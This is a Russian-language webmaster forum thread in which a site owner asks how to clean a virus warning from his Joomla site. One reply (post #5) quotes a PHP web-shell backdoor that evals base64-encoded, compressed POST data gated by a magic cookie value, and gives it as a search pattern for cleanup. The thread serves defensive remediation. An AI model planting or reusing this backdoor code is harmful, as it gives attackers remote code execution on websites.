X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость (

| Вход | Регистрация )

Открыть тему
Тема закрыта
> борьба с вирусом на сайте, нужна помощь
wel1989
wel1989
Topic Starter сообщение 6.5.2013, 17:04; Ответить: wel1989
Сообщение #1


Здравствуйте. Извините модераты, что возможно пишу не в ту ветку, переместите пожалуйста, если это не так.
Вопрос вот такой, не занимался сайтом в течении пару недель,(небыло времени), и тут захожу в яндекс вебмастер, и очень удевляюсь. Надпись на Вашем сайте обнаружен вирус.
Перепробовал все онлайн проверки сайта на вирусы, пишет все нормально.
И не знаю что дальше делать. Скачал сайт к себе на компьютер проверил антивирусом, но все чисто.
И теперь не могу понять, что мне дальше делать?
Помогите пожалоста вот адрес сайта pkzona.ru.
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
MeTaTRoN
MeTaTRoN
сообщение 6.5.2013, 17:07; Ответить: MeTaTRoN
Сообщение #2


Проверьте инородные iframe коды в сорцах.

На страницу заходить боюсь))


--------------------
Программист: PHP, JavaScript, HTML5, HTML5 canvas, CSS, AJAX, jquery, SQL.
Реклама на аниме сайте
Услуги программиста, тема на форуме
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Maxim-KL
Maxim-KL
сообщение 6.5.2013, 17:14; Ответить: Maxim-KL
Сообщение #3


(wel1989 @ 6.5.2013, 16:04) *
проверил антивирусом

Каким антивирусом прогоняли?


--------------------
Забанен за мошенничество
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
wel1989
wel1989
Topic Starter сообщение 6.5.2013, 17:20; Ответить: wel1989
Сообщение #4


И тут выявил еще 1 интересный факт.
Закал повторное сканирование в вебмастере.
И тут все нормально стало, хотя ничего не менял.

[attachment=18527:_________.jpg]
Глюк вебмастера ?
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
hugo449
hugo449
сообщение 6.5.2013, 17:22; Ответить: hugo449
Сообщение #5


Ищите Shell в файлах. У вас Joomla 1.5. Инородные файлы весят обычно 281 байт, 289 байт, 291 байт. Они выглядят по типу такого: 2f842n.php или movie.php и их может быть очень много, они могут лежать в самых отдаленных папках. Скачайте все файлы по фтп на комп, установите текстовый редактор типа EditPlus и запустите поиск по всем файлам на предмет наличия подобного кода
if(!empty($_COOKIE['__utma']) and substr($_COOKIE['__utma'],0,16)=='3469825000034634'){
if (!empty($_POST['msg']) and $msg=@gzinflate(@base64_decode(@str_replace(' ','',urldecode($_POST['msg']))))){
  echo '<textarea id=areatext>';
  eval($msg);
  echo '</textarea>bg';
  exit;
}}
?>

Разумеется, код может отличаться от этого, поэтому ищите по кускам этого кода. Все найденные файлы со странными названиями можете без сожаления удалить. Затем проверьте папку media/system/js. Там лежат файлы javascript. Скопируйте кусок вредоносного кода в поиск текстового редактора и ищите по всем javascript на сайте. Затем поменяйте пароли на FTP


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
wel1989
wel1989
Topic Starter сообщение 7.5.2013, 1:22; Ответить: wel1989
Сообщение #6


Проганял Доктор вебом.

MeTaTRoN, Проверьте инородные iframe коды в сорцах
А можно поподробнее про этот метод?
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
stu999
stu999
сообщение 7.5.2013, 8:58; Ответить: stu999
Сообщение #7


доктор веб, 2ip и аларм говорят, что вирусов нет. напишите еще Платонам

Замечание модератора:
Эта тема была закрыта автоматически ввиду отсутствия активности в ней на протяжении 100+ дней.
Если Вы считаете ее актуальной и хотите оставить сообщение, то воспользуйтесь кнопкой
или обратитесь к любому из модераторов.


--------------------
Сервис услуг бирж fl.ru и freelance.ru https://uslugi.click
[IMG]https://b.radikal.ru/b42/2106/73/41517b51ec05.gif[/IMG]
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Открыть тему
Тема закрыта
2 чел. читают эту тему (гостей: 2, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Горячая тема (нет новых ответов) CryptoCloud — прием USDT, BTC, ETH, LTC на любом сайте
34 CryptoCLoud 10069 18.3.2024, 16:56
автор: CryptoCLoud
Открытая тема (нет новых ответов) Странный трафик на сайте длительное время
26 TABAK 7504 16.3.2024, 17:31
автор: Boymaster
Горячая тема (нет новых ответов) Тема имеет прикрепленные файлыБыстрый и качественный обмен на сайте Baksman.org
Обмен Bitcoin, BTC-e, PM, Qiwi, Yandex money, Карты банк
51 Baksman 33207 15.3.2024, 21:14
автор: Baksman
Открытая тема (нет новых ответов) Алтуально ли заработок на сайте?
Оцение пожалуйста идею
10 hitman20 1780 1.2.2024, 5:37
автор: Liudmila
Открытая тема (нет новых ответов) Тема имеет прикрепленные файлыГотовые комплекты для создания узконишевых сайтов | (Готовые статьи, семантическое ядро) | Опубликуйте статьи на сайте и получите трафик из ПС без затрат на продвижение
8 rainbowinthedark 2818 14.7.2023, 16:08
автор: rainbowinthedark


 



RSS Текстовая версия Сейчас: 28.3.2024, 19:31
Дизайн